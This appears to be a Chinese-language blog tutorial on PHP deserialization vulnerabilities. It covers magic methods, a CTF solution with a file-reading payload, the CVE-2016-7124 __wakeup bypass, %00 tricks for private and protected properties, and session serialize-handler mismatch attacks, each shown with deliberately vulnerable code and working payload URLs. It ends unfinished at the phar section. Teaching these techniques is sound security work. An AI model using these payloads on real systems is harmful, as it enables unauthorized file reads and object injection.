序列化是php用来打包传输数据的一种方式,就像是货物运输时将大的货物拆卸成小的货物,然后传输到了规定的地点之后在进行拼装的过程,反序列化就是从小物件来进行拼装的过程,整体围绕着serialize()以及unseralize()两个函数进行.在php应用之中序列化已知作为缓存使用,比如session,cookie等,常见的序列化格式有:二进制字符串 字节数组 json字符串 xml字符串,一般序列化问题的形成都是因为php中魔法函数导致比如:
vodi_wakeup() //unserialize() 会检查是否存在一个此方法,如果存在,就会先进行_wakeup方法的调用,预先准备对象需要的资源.
void__construct() //具有构造函数的类在每次创建新对象的时候先调用这个方法.
void__destruct() //析构函数会在到某个对象的所有引用都被删除或者当对象被销毁时执行.
string__toString (void) //方法常用于一个类被当成字符串时应怎么样回应,例如 echo $obj;应该显示些什么.此方法必须返回一个字符串,否则将发出一条E_RECOVERABLE_ERROR级别的致命错误.
json,json的传输形式就是一种序列化,json将数据进行转化为数组然后进行专门的传输.比如json_encode() json_decode() 这两个函数
我们在这里把这个book进行了一种数组的序列化,从而产生了一种序列化之后的数据:
序列化之后就会变成一种键值对的方式,从而便于传输,这就是json传输的方式.
那么关于php中对象的序列化就要用到serialize()函数了,传递信息都必须时重要并且用于存储特征字符,比如对象的名称所以我们用freebuf上一位师傅的图来了解一下序列化后的对象存储的方式.
源码运行之后便是:
那么这些组合是怎么来的呢?
存贮过程就是这个样子,要注意的是序列化代码的时候由于属性的设置会导致绕过.由于一些魔法方法,服务器能够接收我们反序列化过后的字符串并且未经过滤的变量放到魔术方法中就会产生漏洞
源码:
class A{
var $test= "demo";
function __destruct() //在本类被删除的时候会进行函数调用
{
echo $this->test;
}
$a = $_GET['test'];
$a_unser = unserialize($a);
}
如果你手动序列化了 CLASS A , 那么,这里unserialize()函数就会将序列化的信息反制从而导致对象的产生,当对象消除时就会导致// $this->test // 的执行,所以从而看到如图:
$a_unser = new A;
这样我们通过控制A中的成员内容就可以成功达到任意输出的情况。
举个ctf中的反序列化的例题:jarvisoj 神盾局
我们直接上源码:
根据题目提示,我们知道flag存放在 pctf.php中,而我们要读取pctf.php我们就需要第一张图片的反序列化,之后就能够利用反序列化中的函数来进行读取文件,而变量名就是file 类名是Shield,这样我们便能确定了如何构造payload了:
O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";} //构造成功,我们只需要get('class')将参数传进去即可
http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}
查看源代码即可获得flag
相信通过例题你对反序列化有了更深层次的理解,但是如果类中的变量进行了保护属性或者是私有属性从而无法通过直接的序列化来进行传值,那么我们会有其他的办法.
(cve-2016-7124)
反序列化时如果表示对象属性个数的值大于真实属性个数时,就会自动默认跳过__wakeup()的执行.
影响版本:
PHP before 5.6.25
7.x before 7.0.10
绕过源码:
class A{
var $test = "demo";
function __destruct()
{
echo $this->test;// TODO: Implement __destruct() method.
}
function __wakeup()
{
echo "wakeup!"."
";// TODO: Implement __wakeup() method.
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>
运行结果如下:
此时__wakeup()会在对象实例化之前运行所以先输出了wakeup!,如果我们需要绕过只需要将对象中的属性值修改即可
可以看到成功执行了我们输入的命令.
当目标对象被protected private时,我们可以通过特殊的方法进行构造绕过:
源码
class A{
protected $test = "demo";
private $test2 = "test";
function __destruct()
{
echo $this->test."
";// TODO: Implement __destruct() method.
echo $this->test2;
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>
此时test以及test2已经被特殊属性保护起来,我们这个时候通过传入普通的序列化的字符串无法对对象进行修改:
我们此时需要进行特殊绕过:
如果对象拥有 private属性我们可以将有此属性的变量修改为 %00A%00test2
也就是说这里我们需要将变量名加上三个字符,两个为%00,中间一个为类名 A
如果对象拥有 protected属性时我们可以将有此属性的变量修改为 %00*%00test
也就是说在原来变量名上加了三个字符,两个为%00,中间为为一个 *
对比:
原来:
http://127.0.0.1/serialze.php?test=O:1:"A":2:{s:4:"test";s:6:"sussce";s:5:"test2";s:7:"sussce2";}
现在:
http://127.0.0.1/serialze.php?test=O:1:"A":2:{s:7:"*test";s:6:"sussce";s:8:"Atest2";s:7:"sussce2";}
可以看到我们第二个在修改具有私有类型的变量时我们加了%00A%00 在修改具有保护类型的变量时我们加了%00*%00 我们得到:
所以我们成果的绕过进行了修改;
php中的Session经过序列化后存储,读取时在进行反序列化.
相关配置
session.save_path="" //设置session的存储路径
session.save_handler="" //设定用户自定义存储函数,如果想使用php内置会话存储机制之外的可以使用本函数
session.auto_start boolen //指定绘画模块是否在请求开始时启动一个会话默认为0不启动
session.serialize_handler string //定义用来序列化/反序列化的处理器的名字. 默认使用php
session的所有配置文件:
其中PHP中有三种序列化处理器,如下表所示:
其中如果两个页面设置的session序列化/反序列化的处理器不一样的化就会导致一些反序列化的错误
session使用的代码为:
session_start();
$_SESSION['test'] = $_GET['test'];
echo session_id();
?>
其中session的为session_id,储存内容为序列化后的session : test|s:“test” ;
如下图:
在存储session的文件中 (这个文件路径可以通过上面phpinfo();函数来看到):
即可以看出,在存储文件中,test = test 的内容为 test | s:4:“test” 他的session值为c5amt5am2tujj531m9f5ciqk25
所以我们可以根据不同的php序列化工具来进行攻击.
漏洞代码:
//xl.php
ini_set("session.serialize_handler","php");
session_start();
class demo3{
var $test='test';
function __wakeup()
{
echo 'wakerup!.
';// TODO: Implement __wakeup() method.
}
function __destruct()
{
echo $this->test;// TODO: Implement __destruct() method.
}
}
?>
//session.php
ini_set('session.serialize_handler',"php_serialize");
session_start();
$_SESSION['test'] = $_GET['test'];
echo session_id();
?>
这是两个不同的php文件其中xl.php中使用的session序列化处理器为php 而session中的序列化处理器为php_serialize,此时我们可以构造实例来进行任意生成实例对象:
由于我们传值时在serialize()的结果前面加上 | ,当使用php处理器时,就会把 | 后面的内容反序列化,从而调用xl.php中的__wakeup()方法和__destruct();
示例:
这样就完成了任意的反序列化对象的构造.
phar简单来说就是php压缩文档,它可以把多个文件归档到同一个文件中,并且不用经过解压就可以被php访问执行,与file:// php:// 等类似.也是一种流包装器
所以可以用来进行上传绕过!!!新的sao姿势有没有
phar有四个部分组成:
stub phar 文件标识
这部分稍后再补充顺便带上绕过方式~~~